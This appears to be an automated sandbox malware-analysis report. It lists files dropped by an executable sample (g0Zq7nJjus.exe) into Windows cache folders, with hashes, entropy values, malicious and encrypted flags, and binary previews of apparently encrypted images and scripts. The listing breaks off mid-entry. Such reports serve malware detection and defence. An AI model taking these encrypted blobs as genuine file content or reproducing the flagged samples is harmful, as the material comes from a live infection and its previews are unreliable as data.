Preview:	GIF89......U.g..........%+.......n\|..&.gu...lg...=.Y.A1..9.U...?.P...y...@.m....bK7.U.m...<.k.=!...3.d..R.8...W..;B........M.v._.....g.......<X..Pi..............B...{u.....`..)....i.-BddM.!E...).....w.b%;.H..5.h..jx5^...r.{.. .~s.:..irmr..[fD...h.&.@v h.I.5..=.]..E....s.q+j9.F....e..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\AOB8BVH4\4tiHI4cTzqiixje34Lb3KTOm39Q[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	58154
Entropy (8bit):	7.9970275920766545
Encrypted:	true
SSDEEP:	1536:AGbuth6NvMZsKKuGnulI5FUIxw3QqqI59:AGbuD6Ouf3C4S
MD5:	B6CAA0244568852F2ED669D6EAB057CA
SHA1:	1600057B418B9D191D53E70F85F333958F1C93EA
SHA-256:	6467DB28D62D65C536FAEE6331A0049324A9A3743E3E8F703345443EA7B6B3E9
SHA-512:	937517E653F2183A8B98FF94079680FA60C591E34B4011B231952FA24E3A163E4D7CB66C4F807D1D0CC72AFF55BC6E765FCD13A44092AC7D21BED2478A7C1F76
Malicious:	true
Preview:	var _B..?.?X..~...._.J.Iz.P^`..WN..Ho.w.$?,..h..W<.'/......a.3;\|....:..u6$.O..A..1....P...mn.g.Y.ZC..c-Z.S.?5.A....X...d<...[.<OgBEg..~...u..=\|..\w.......E.Li.m!ch.{..wf.7........*1-..!.c...\|b. .......U..'.,.W?..C..._..(6..R...Y...\|b.np.(q.+./.Ng.!`.... ..a..r62e+..Z3k.V.e.14-.2.I.%..IMr7I...zg.J.3s..%-...B.j.%#aQfu.;K..M.S....u.hv..6......M.x.I-.....i..v.#'..i..W..i..&...9......0G.9&....#.Q3..zd%'....'..f........m.G.p...z...7m...R....PH.#Z..B.m._..R.{,.S7..^]8={.N.."aK...F.,-..>..1$.y".....%~Rq..]..]..I9....S..Tn.. ..N.eJE..y..c....u..=......(....8].._.......!..t....}.F.v.....g!...;.4..W.....#.D.......k.NY....^..t..H...W3.O..).........5....Cp .S.+.fL....._.~.lc.:.o0..$.o.....8{....Z....S.....v.#$#.r(T0.=.o...J.O..F<..?....K...V..?....?.Q'.`...e<.y....V...~....A....X"...k...tf_d..C.@`.#...-.s.e.J..ry..uy..P.;...O.X.....x.Ow.....zV.q+K...v.n..[n^'.J;..8...!....V..Qo....!....e...)..^....).,.0UE~C.HD..\...+]P....E.h....6!..!Z.........

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\AOB8BVH4\th[1].png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	20779
Entropy (8bit):	7.992332256610617
Encrypted:	true
SSDEEP:	384:sii4steyDmrV12uxM6qnvixT5sJYDxCVZ294eMAdIqm+zqfR/q+sJ:bSuW6ualCVZu4EIqm+zIwJ
MD5:	1049E1FEC416A777D542FCD7D80143F1
SHA1:	AF238D6E92DB29E1DC630C02AF262E487C06C5C1
SHA-256:	69D0BB56FC002FE4BD2EB08274D14FF8274E74490C98E0AE53DDB46654BE991C
SHA-512:	5DCCF0B8EF43A3157BD012759A91A42B366ADF933F1303A319B0D7427C74B8A3A4765FFA55538B65FA95442424BD42A95E7CDFFA7DE836E4D07F95CB78E61312
Malicious:	true
Preview:	.PNG..!...!..t....f..S..e.}....o.M4N.AgG..z.'a..S..Y......a..V.W"56.=.6..........E.....=~G,.S... ....~;)5....T.O......r.V...6@C..q=..,..m>;..3...".OH^.....3%....;P..e.i.T..H.h..S.Z.Q.0=b..";WKJ....'c.}5.$!.&p..O.....g3.........k..k.].TV.j..y...Y(.......X...b....N}...u{....2..&W:i&.ap...b.W....^_G[.U.L&...[2..h......A..OB+...N....7......l.....fp./5.Z..:..t.,.w..?.jLY../....n\:c..hD..."...G._.}.Zq..pJ](.IwX.i..fx..3...2...sD_.o.&j..6...v..;..hQU..X.s.+....Y..tn..y...].f....T......W.-..t6.....x.$..S..(.].kD...e.w..N....C{..!.l....h.....Q.....kk!f4y....3[M...=p]V.M.&...!.-.Z....S...]]Ted\|.4.HN.a......N....\|j.y.........8....kY.re....\|.g..F.y.C.,...........%...@Ar.. J...A..o97F.+C.J.^..2S.Q....v..B.........Z.L......S.Cbd'T....C....zh;....)f..#%..sMb..X-.[.Ui-.....o..#R..........\|;.'...[.;.7.^.T.0.\|a3.u.N.l."L....?...lZ.....L.....sp.....).&....3cr..Z..?._.za.h.8~5..F...2..{E5.L.s...V....=.....o..3.G..a.....:F.X4.....]].q..t.c.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\AOB8BVH4\th[1].svg

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1183
Entropy (8bit):	7.851586945396821
Encrypted:	false
SSDEEP:	24:tuwBiaeZKrfpQKkYRxdkja5RhDQw6aBSNSNIgOSCn99RFOh2bD:AwBiNZuRbJR9QRjd1n9xO6D
MD5:	ED8A8A84D447F4101D18ED6B88B7988A
SHA1:	B349C8168CF72FFD32A29A3E5DB04B041A2FEA23
SHA-256:	1AD7288F1119EDA613936C6E9A1C64C4793D5CEC6DF778F6B0F48D115DFF3F38
SHA-512:	90A79B08D77C55B19292F966068DD3B72196D97BDC38B8C74D6BED6C8619AEA537C2A5B4AD49E88E8EBBF9A5BC4D9D99C087AAC5C70F44F0AF3455563AD9E66C
Malicious:	false
Preview:	<svg Ei...7s...J.>.....Q.......1^iu.3..aM).&.-L.V..KYyX....=CuK.%81M$.....8.!....F&?..I.P)..JH...o.........7..R"`...~........m.=...zY.G.df...N.`W-.....=bGg.)..1..,..6.d.+.!.o@ ...J..,A..E..S.O..qH.i.U..H....`.5......E..b.&&!P.,1......;.\.w..Xi}...o..8....`...jR...C....t...+...Z........\|.._...\..H.....">.F`......T..M.:&.~6bq~.......kY.vu.1y.Y..7....z..a.&.....R.b.l%..Y..o..U..F.@.j.l...2l.B^[.q...t`3..O....@...Z.1Ba.P..y...5.W.5..vk..Rt.I?j(...e.)g.3}X....C.....'3..j..g...Oa..:\x...>_.;.!z._P...YN..F...._.N..~..g.bV..:.6.....g`..BM>k..AkfFu...A+.....S.....3=.}fL... ..(vq...P>...[.:..Xf.$....#Ei....K.#.b.31.MI.^o4.NA.....+=..l...j-.....n\|.u.].\|.j...x..!.Z..-<s&.>&.T."..hu..].Z..!Z..w{.Y.q.....F.....D.,.h...Y.5........%...+.r.......{.t u-".{...s..?m...=..}..{..,./.Hs..}..,.A.z....0[.<.......B..p.....ou....F..Z..5....=..oF.T.e.l..o:.N.......,.Y...@.4....\|......{.`.:h.2.........s..s@w...3...i..........x.$....D..Rj W.R..jW

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\AOB8BVH4\th[2].png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	20442
Entropy (8bit):	7.989224493802944
Encrypted:	false
SSDEEP:	384:kwqNbRLKSY99OzMJ6OKqlNu3lGdzp1PHbZwr3CN0tgJSRB:kNLfrzKJbK3CN0gJUB
MD5:	5EF0C45EDB6AE55E79C26C832CB8E585
SHA1:	CC09A7532BCBA2E7146DA1DBA0C92C480182F3C2
SHA-256:	2392BFF20CD5558151AE0EF9A2D4E9A5445D5250C480DFA1218984BCA3FB1DD2
SHA-512:	26C827D950CCA4BE420FF369BE6416773516E1F87029768D6394F2EBDBF72A7A3DE6C04727AE4BF8DB3D27495E8A1623AB17067FAAA7CE1DBA048780575510F6
Malicious:	false
Preview:	.PNG.7.&...<tY........5r</_.4....UU=.F.a;....q...V.3..]...\|$.......(d1...[.P...nDV...%.)H....+B...wnx.QI.J./.8U\|.y.9'1>...........^/_a.$.2O...3\|.&.\.L.K.N..p..+.WZQe;.Su.B..u.I%.p..zmT..... ^..ra......%.../. dg.9..p......yD......i.;..V......v...g.k^....Z...,.`......Qg-..U......>........6......}..nT.s'.........+6..O...i... ...a.....%....u.....\.g.59.X...w......0T.....H+.Q.....W....)......^.P.ZNdLS.yO$../.Q.....W..~...i...!2d..\|..K1.Y....H..-.....+.?0.....E.iJ.......}..j9@..1D0......V4%.UA.#.=V..L;T_T.L%...U..}t,.t...n.M.!"...1.X.Oll#...'......s_..V*-...^......P..(...j2]..t.Z.s.D^...Y{].Z......a..."...I.(&.......>..#.r..j./.$..x.vP.q.?.....V....\|k.#..^U..s....<.E?..w..3...=..4t.H.9b<.....Y......C...4._..XIe>..%....C...35...w%.W..o.....)...F.v....& Q..5A.X.e....7../........Xp.........L:(k.=..\.[.....}.E.F...Y.V.Q.!i.......Z. WgDw.O@.J........./.h.\.....[..B.B.../......q....'.v.}m.....0.'...J..>%X....td.-~dQ..yYXJ.L.h.J..j.C......t]ic......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\AOB8BVH4\trans[1].gif

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	GIF image data
Category:	dropped
Size (bytes):	377
Entropy (8bit):	7.299763278545768
Encrypted:	false
SSDEEP:	6:jmIB8vhy14Aa2KzUXadOPq2+3JoWBj44HwtQXeSHClC3aMCbn6NcUnIS1WdNciik:acShy145joXagp+5hXiKClFbnhSUdNcq
MD5:	E0A3C3D23C1D33699A314B19B2E9A2DD
SHA1:	26C099E6AC84DBCAEDCFDFE37C39FF0D95A84A31
SHA-256:	6DF3DD1B98A04EFE64A19C34CBBC2293F8F36F9A6071FAEC9F3217D27340466E
SHA-512:	C8C5224987D0DE8C6DC0D10FCF5B67D56A696D5FE8EDFA1430FC19E5DCD8964389DB0D5162858874982199C0AD7DE3054FB7AFE81DA19F0EE474ECAB31525159
Malicious:	false
Preview:	GIF89......T.u..B.c.Y+u3..w......d....FR.L.j..V7..O..].O=.HX...>fl.s.\......5..49....%8.m.......9..{..(8.p,n....[....j.Nc.&%.u.t}c.Ub......^.\|3..B.1.......b_...N....'Y...7...gS.'?....[........>y.{Yb+..f...Bg...?...K...E^.%....yG..gP%....QcN.}..'...k....QY$w<...58...T-9y.D?._{..9.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\AOB8BVH4\trans[2].gif

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	GIF image data
Category:	dropped
Size (bytes):	377
Entropy (8bit):	7.398871327250302
Encrypted:	false
SSDEEP:	6:38XQ8PBhOIYb6IkZBjxh9J9Ec3ArUz8PNwQ47MPnulJiuvcgqnzHaNCBinIS1WdV:3eQeBhKb6Nvz11kO8PNr4quauvcgqnzT
MD5:	9C97D5E569C9C0C776794AF93A0389E5
SHA1:	FFE1EC644217A4F03813A25AC3C7D5DAC5FE6D40
SHA-256:	7CD45BC2ABB89216F1317BD4F9AEEA1F9FF8A49B94A375EE722ED73E2C742744
SHA-512:	6EB043EF2D6D12E7D2AB23F16FDD89A90BADA883EBCAD3CD2465B1E55395141D1538E47120160E2CAFA4FF113AEA29809B01D303B8FC574D3C94513427BAB21A
Malicious:	false
Preview:	GIF89...x..j...R.....K.....\|`..M.......Y.;..kC..E]Z^.w....?V..J.....G.....k@(...G..N2}iZe\..W2..F.....S....-v...~w...%..T....v'Y...J.C.-.=...w........N.J{.L...q......W..cG:........17N.T...~!....'3E&o5..l...7./..C.......p\Nu.a{...iH.la.K....E.O..B.... .G2;...!..Br..L^.........s"...lmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\MSIMGSIZ.DAT

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	49454
Entropy (8bit):	7.996744759553294
Encrypted:	true
SSDEEP:	768:MD39rgbh9XvtqeSRngh7rRP2EcG2YDexTmfUl2jliU4oqoiApewX8NxPDIhnL0/:MhE9XVqTtOlP2DYDimm+hbDXyPunE
MD5:	454086512DFF181E5732AF43AB1CE9F9
SHA1:	358CF1E527698BC14D9295D1F0D28E4607C3A601
SHA-256:	24CD247C466207C81B420E08A541D9D1D12064AC0C9E5907B3B59490920BDA8B
SHA-512:	A87AC0013EF2F4C2270DB442B5472F1112A2EB8FBDC58BA208ECEB7EEFFF8352E8DF50FD5B94A4D2D5BB1B38F068885465E1C301F4C737BB03A9116107129BB9
Malicious:	true
Preview:	.....5.C......W\|......nl."/.r.5......"&WC,..2..$#..r.......}..G...............&..E....B....L...O....!-..?=N2...U...3.b.9..~..+.X..@^....G.nG..;5..k.......6.'...%/.e..?...7..C._8=.....ET[d...F{~.jO.b.N8..n..U.-.nG!...?.7........q.e.h..k3....h..q1G^_.K\1V....4%%.......E..\[....^w.CR..z...E[...\.eW.u.;."..%-..A.?....Y.>m....z.s...........l..f[.=Eu..9S.7z..rsb...hu......2..1.k.Y.:Z...P.)`MM.,5.._.6.d,...<8".[.Z0..J...+"..b...f.c..g.f.t1...o.....#...'...J..j...oCt7cw.I...M....(.D...kn4. ..z...,.mw.../.}.x.=.._....(..:.....[8..[H...J.$..d.k#...k.T;...b.......p 2\|K.bDnUBA"8..c.k.M.....u.].X 2.Q@g=.(..!.S...$9.a._....../.c........Dp...X...e>W..j9.RZ<....e...<RT.]{.,.P.I.>.7..>..fDtQ".+....2..+.6..\|X..zB..-R......d...2.$....f.G.t.X@.%Z..o.p(.J.".4L.df\.(X_.S.M..h+.F...8....tkt.~..y.Y.>..(f..qfk.............$.N........O.u\|j....C".b"E... ..P..^.c.^...n..e.G..ERd7^DTZ...A.c........3..OfI.?..\.D.a..+.5...,.C.......,.L./}mx^P.u...U0...I.n

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\W5QUPS39\6hU_LneafI_NFLeDvM367ebFaKQ[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	22183
Entropy (8bit):	7.9912759581807915
Encrypted:	true
SSDEEP:	384:SuFyJmHhWQK5v7Dbaitr5lQUPI7qBSDx7AXepVxbyZ6bra7ujM6khHLmYA:SusJoQvGq5lQAaUSld1yZyrNjM6aq3
MD5:	480EE9377B25049C82362471074768EB
SHA1:	B1E23A9677A98A6C1F6212CB0117195143022796
SHA-256:	FBCBF3996B5058E180211CF50474C2E53911056666F5C4EFE114B6241F476E1D
SHA-512:	6BCB488B78FAB3D38EF85493C70EBCD6E8EFC81DE0B29F68CB768AD1A8A06EC6748C11848AB9B63828751CCB24D2640F186EF4C38EB106FFBBED878E35D4C0E7
Malicious:	true
Preview:	/!DiZ...H.....R][&.!N.K.".^...V.2.H...;{g".n...}.Y.vP.JE..!.U..f...K....]z....K..."...).Z.../..#-.)6.m..F...4...........C..B....:[p.J.,56..........y..;w.R...%.d.-Kv..n....Y.l.Sy.0&....S....h.7..O.i....8nFf.w.w.A...[.....E.n...Uz....n..G<tK...:.o.......?..R1...0.Vh.....(m8..}.XZ.m1..K..e..V.nY.V.+.m...x....0...u..Q....s..A..}.O\|...C.Cj.l..B.;\!..=r.....(N..?.PT..X.....{V....@..+T..x.N.B...nX..@...'nt..Z.......}..(.....E.`...:8#"..:K..[..T..2z.....~,.yl.....h..s.....&........\|........;..U.)l8..Z...\|8...H.7...=.?.....U.....xo.l.MV%...Sx.....u.4.o.6....CPQ...n...2.N./$.^.{).y...t....v.)u..c.....\E....X..[.......b;.8.[.%.#`.G.k...[l...\.7..M.l..R.N..6.^B...1..HOa.@..a.ah...'.~.!..i.......[.5uLE....On#.p.W.7&.x./E.U>.XHB.."7o..x48D.c..54.0y...Aq.^`.8....7.bF..0s.2.......P...:Im{"....\K2).<R......U...r.ua..6.md..;K.}=5....e\a`F.==.S3.$..:...H......?~.l...=....v.....`..^?...UR;.8<.aK^qgh.Yb3.".....H.6.OI.lM..w..'.....b..]bkN..q.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\W5QUPS39\X6j0qPgNij1n_IogMJrgYaT9Kp8[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	20594
Entropy (8bit):	7.989871848385826
Encrypted:	false
SSDEEP:	384:DgVI3vWn4UQYbccGhWaPe+urb5oUty9GrI7Z7HkM6UXD8T1SXqslRBB/mIPFE9lh:Dgy3v2vWhWF+urbVte4r+B/mf55
MD5:	ACD00309E68895BA4737F945DDE02A9A
SHA1:	19DBE2811DFB06D72BD754CBCBAEA9D49BAD29F7
SHA-256:	BCCDD3614F07F36683574CEF51924E13386BE6A9258169630DB24B0ED7C00C6A
SHA-512:	5F2C63507D6CA96C19E8F0F80C3751F62129C1B83639B9315382A3AD0157973B7B544BDF61879B2CE9D78BA07DE4942F7D11BD2791B145182CE42CBF435DC6B1
Malicious:	false
Preview:	/!DiEF.....E.x..G.&...h.....>...v....<..E.._=.....T!r.G.eT..U...L.`..4..F..x9A.......6/'.....9.A,!......,S....Q..c...G.[.%....j..1)..Sy.e/.H...'.W...b....Z=...20MP}.._.6..M}..9.b\|.4.;...>G.@....... ..p...$..~#.>.T.........3../.c.\S0..wjW.7..o:3U?..i..A$Q.l.=(M....M..+...)...nI0X~.).......o9.8.<w...c...E.v..V.`..-.'.AN........g.......oa.HnDB\..j4x....~.....'e!:..O.d...r%.).[....k.V...4.....)....'@...'K.C.kY..4.[.<..7..h. qS.H..e.H..V=.z.\|...bDH..'m,.^y......N..mn..N4.%....W..K+_...kk..d....l. b".%4D.x.i.[.......G.~w.y.TT^..q.T...K......d_-.a.........k.^l...?4P..b^.{.......G.h.... Z2...3,..y.;hA..N.>.w..l..4..=@.....++`Z.!X...."MO4.K...r..T....%....6....N.....U.b.....E...SR.0)F..YK.._..u.....PG..Y.D5>)N.....J@..x>.vzz.Z.......(...E.C.u....px.....Va.1\.c.a.....J@.....,.r-d...A..g.$..q{...!.I..#......N.j.........6X.e....SX...X.<...E......q_Eb......u....k..H=.N....o....1k.4u...Hq.n.........b.....-...[.W..%..G.X&?..5....p.EW..........s.....p...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\W5QUPS39\th[1].png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	14840
Entropy (8bit):	7.988658856508044
Encrypted:	false
SSDEEP:	192:SC4rkmLLe8fRlM4li22xgtEwO3hLrqZBdJkmJJo1UlvZBVrzMrfixDmtDPfN8bF7:F3l8fVP2xFJBrEJnoyB1zMTwDAe
MD5:	ED7155EDCA0D21377DE722C0B6AEB94E
SHA1:	3028E7B835F488B1591CD2D5F1C3704D4FCB356A
SHA-256:	82325C20E416C55F7676AB7BA44B923F163F70B63BE958770494B731FBB12290
SHA-512:	78C703307B0D7E3B40A7DCD610463ABD0FC23A4115039CF7D0F90BD634033F2EABB835ABD9BDD9ECA0E9ED9FAE63136ED835D45AB79F3EDAF919E5A10B999F4F
Malicious:	false
Preview:	.PNG.h.....z_!._..]...I....C.S.&w.eU...D.2.9.W..5Mo.t...0...Hz..B....@...<.)f.L..Q..i..Q.vv$.a....EL......v..}u....l.`/.oR.`~.z.o.uC0....El.N..Ub..(..[,R..X.......F..$.X...Q..z..er.A.........#i8........8.l..N.;.r;..],h.T..k...t..9l..+G....1o...n...^....F2b.6.D"dG.....X,p.L<U.1.o..B.... ..b.. .e...R.e....Pw(..C.6...0k..o.f.=..^_.`\,. rXs~d.z....8Su."^o<......#..G{:)........q.;.N.R...]......z.>...B!.A.P.....e.,..Y...X.G.;......../..k.....I..^e....JO...,.u,....O..XDT....\a<.rG.C_B.,...I.djN.4.P(......o..O#....A..m....@h..%y.p ..7.y../O..N}.{~..2..... .z.;..y.r.Z.."}OI......;f..;..w...8.P.6.Lb.Nj...r..X.....^r....1....`.r.h.J.#...e....9..(.T:..+.IDW..E....v.@.n...'....1...U..bZDZ..0.S.cKwR.t.(.b..\|>...Y..n.'.CO.N....J..\|ZU.#.]f.^...O..sB..U.....\..s;..+*.b.....k.....y.2....d.=w<..X`f.....k.......,'j.....FC....8.R..5.....A....1......s.=.P..^.....X..@.2..w..E.?.M....fCv...u5.F......U...........].hc.x\5.cCd........C).....z.2.....4.3U`.4.F>1

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\W5QUPS39\th[2].png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	21000
Entropy (8bit):	7.9910848549260605
Encrypted:	true
SSDEEP:	384:0sBydAq6s8o7cyrVMBzM6Wq5jR3bzbkjQ58c2mK7RQQvD7qT0UwK63AKejo1q:0sA+BbDyZ76z5JbzP8iK1b720UwKkAK6
MD5:	9C5235DF10E9E906FF561206FC32A979
SHA1:	9475F944E16758BF4BB244A20CD06918235ABC0F
SHA-256:	A5DB27A7A55F62B103509C8B53735EB5662CC8E363CC0D65D1F292D8800BEE00
SHA-512:	D3A6E4C22A565D1A7303FBEE3F413EA1C402AEAB132A0EB88B89B02F5F4EB72FEB6CA61B8FE3DD3289B546179C996B47F13F03C3EB2D0254D27B390FFFBA7964
Malicious:	true
Preview:	.PNG.EIAW...R.AF...e.\..>,....4[.....4..LzG...*=<..hw.....[..V_[..Ko../T...O.<..e.SB$.cE...io..%.AW.R.L.......mc..B.S.h...:..A0.......PB.8..{.......R6...n......s[..R.4.x.aXqo......=.....~...$.V['.G.<X>ed5....?.7...F...Ut..d.F.%{5.2...).....,..I.5.............{r..BF6``T.u.Z ...MTQ/...3<..x....M...r...R.)..?.......B... S.....El@..~kw;.e}.qL.oX......G.Sy.J...P.........s..V.S1.h~.fj.Fm.q.A..zg.!.%..x+_..C.%..D..C0.y.`...EA.4L.v<4."sn_...n..9........ ..%...H.O..".$._i.....V.&......4.4..hZ.Ta..........@i.N.._.}r=.t....b..'.,...r.+..Y....i....{."'..)....d.v...k...@.+.V...l'.Y...w..^..........86,/v...n....&..Je.......N..2.....0..K=[...7....4>...A(?.....O.v...n...6.]8.vz..)..c.'.G\X.....s.s..W.U.@(.YV ..m....[.\..)U&.{..V....IU:.>...EY..-.....Cv..u.78..{Q......Q/.O....9.v...9.ObzY..7...-..v...j...7....B.1.....O.W_.!.I.....C.....y....l....40.x.O.:......h.^.....c..8b...+.9.....\]..KF.5..v.....J.d...T.K.`.k...C...,0"K^.S..?.s...1UX:z.'...G............<..n,Fl9^

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\W5QUPS39\th[3].png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	22508
Entropy (8bit):	7.9931452423888265
Encrypted:	true
SSDEEP:	384:LwxSKNtFF3I0qYbihOexUK19/PJUkulQWrCAfGjxejDh9Pxq87kNMq:INt33I0qBh3eO3JUkuXCgG9aD887kNMq
MD5:	C26654FC052CFAE64D1997D006005E1E
SHA1:	DA889CFE51F6A3DBA1BC21619AA0EAA51CCDCF92
SHA-256:	35E1F8BD544DF26150BBC1CE1EBA4B412E934D4D1381886E8EA4E92122C88711
SHA-512:	C394A0B37A9AA0FCCD982C9E8D570A6BCBF55A4C3291E87E9BB4AB2E974DB4CB98E865B79F1644428F6241554E4E2CEA2AE4C13A623CE4667F56DA280A733EFC
Malicious:	true
Preview:	.PNG......ny...h....q..1.4..m...s:%.Q.H{y..w...P.r>b...e..~p...o.r...^.$..H. .B.P..O.:....4f.....2.4).....S.Wa](.._.....;/./...K.9.....C!.F..^....so?..w..j;m....3DE..7..M.y.h..W..92..%.R......l.....&p..sBy1..:Q>....w?...f..{.g..[T.....S.e..dl........-.R<.amfKTN..[g.uD...z{H..F.&..T...=.R.....z.?,....O.!.7...-'...a..5.T.Y..A#...'...]....t.$.h5..+.......tj.KY.\|.s._.V...`O..-.Fd...0......J./....w.......k.......6^,..L.)!.U>...{K.vQ../.\.zM.....p8...'.....>4.E..v.r.S5.*.;..f.a5.3.m..}...<.p.d......P...j.F...;..b.g~..,.\.....s....\|b....G.h...;L...#.\|......$? ..<..........f..r.z...O.8M.ny......Y.@..a?...^J2...o..j3. d.Y......_Wq4.....S.m.%...b..~.. :..:....9Zq..$#.iA..d&%.....a.2.._..\._..K..D....f......D:.m.!>4..8..{.........k..I...\|.........pd.;C.7iN...#%ne..5....f/4...c.j..\|j........U"..U...cE..-.lE9i..)j<k....c........A..&....T..&c....?.m?....Ce......[...o...':6xf....'.....E....rh...Wy."..m.......W.....`Z.G....R..b...Wz._.5..%..4.........

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\W5QUPS39\trans[1].gif

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	GIF image data 15662
Category:	dropped
Size (bytes):	377
Entropy (8bit):	7.367109607221025
Encrypted:	false
SSDEEP:	6:Uvg+7AFI5rBYqgvEEsr2NHeb6Hz15HcPG1bmrlSq9uUoDlnIS1WdNcii96Z:UeEVvCc2NHy6HX1KBiUoCSUdNcii9a
MD5:	274854A0A4383A68822F99B2F366DE64
SHA1:	DAD5E23F9700535F67DDA85CDA1B49875FB5DD6B
SHA-256:	0D990BB3942DA032BB051F34FB85ECFA00279B0F00E3D35004A0F1ED6FC49BCB
SHA-512:	3006B9B7A8254198C32505E8D57975C32351427512D3D70AD86568307D4A53DD281074BCF8004661EBDC4415B7E9898B494094907FFEC4FFCACE128ABB3E6441
Malicious:	false
Preview:	GIF89[...=0 .cG..7}.....8..Y......?..?F_.%.2...J..._Pw....s.y..Hj,g...Ohz..CfH...P.v...h....#.....*.....F0....t...].<...$...f.%Xv....vB.S.W..u....R.M]..e..N.(.]:...Z.gP...q.i.2..-.<{}3....5......Gm.....a{...^A......-S.Ua..v.. ....b.......!......8%...^..6.q.....).g..d.`._.7@EmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\95d9a2a97a42f02325559b453ba7f8fe839baa18.tbres

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.933833322221558
Encrypted:	false
SSDEEP:	48:RiV02UE6KJDzapDKzA+5gQ1EStpT26uth9rorWTfwTdxbPuyUiwv17FvBZ654LYU:0Vp9Kek+KQ1ztpjukrWTofP9UNpEmEVi
MD5:	EC6C33F64185AD3859AD80D9DC4008C4
SHA1:	8E30B7BF0D50A19B4A7E4D97914D8453BAA7F29E
SHA-256:	500544D3F84814D8551263471A2A3EF5942A8D6A4C5833A01054575B8886BA59
SHA-512:	35EB579B2C68AEB52950FDA88960251335154B3916FC70E3732FF30484F16E47E8DA78042C368E888A14E5F0E3753B758ED8D720C11C7D62BB967B4FF6239FD4
Malicious:	false
Preview:	{.".T.....Q.1t.41...S.u.dS.}Cw....X...c!.{...1..d.....h..kn.p5d......d....=k7..0e....U.mT..;8.qk.E.?....WL...$..#L-p........e'9y....$.h.H.c....o<.d..T-FS,..p<.?....QB1....(xs.C.;...]..9..I.zfy.r..9......%.r4.....#.....3.e/....O.A.. X.. .l9_.x.)....6_.K.@..!.D..z}...f{7.K...t!H.:...].6V6...Cy{.^.k..F...%.#..[.......:....Q.. ;S....[..80..0...}`i.g.G.@z.[.F...y...VI.. _H..L...240.J.\|W. .?.(...=Z.1..M72Z....r.$.j.l~.SG.k...+sziYbKH_._..#.O$.(....l.q.-.9.....S.g..&g....V..Ck.K7.....^!..Y\|.q1..\|oA......D..c.S.i...i.T._...X.P.;..xF............9..9.usn......f.O....\?.......6....=k..eG.g(.0.FY?....M#...j..Y.GY..m..kn<e.Nn.~a.P...,..$.,.c....P.]...$...n.micK.p...,.q.G?H.@.....G.<..]...!....v...H...U.LJ ._...i.ZP).).KT...xS.B...y.t.....U.k..4....e.-.E&.3X.9B.../.7.#...\.ON.C...(.s2:..Y......6(.S....x....Yw.S...v.. .....q.~Tw.o(...[<....G...$G..`x.4vPM.......J?.oj....i...akqn..uih#J...l..V.RG..2$........O..Z..u...R....:dy........;.,o..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\fbaf94e759052658216786bfbabcdced1b67a5c2.tbres

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.929028471640473
Encrypted:	false
SSDEEP:	48:uIyLWQ0JQA0dUaoeWPlFXbGigkQkY8tOkD+mA6kqwBklSyVirFCfuCnSKD:rnwUao37aiakYMDDbwkZVipCfuCf
MD5:	F245E60C3D335DE6E0B755CF49DC3001
SHA1:	9A3471EA4959E1A2254AC8D832CCBEFF5FDE9C99
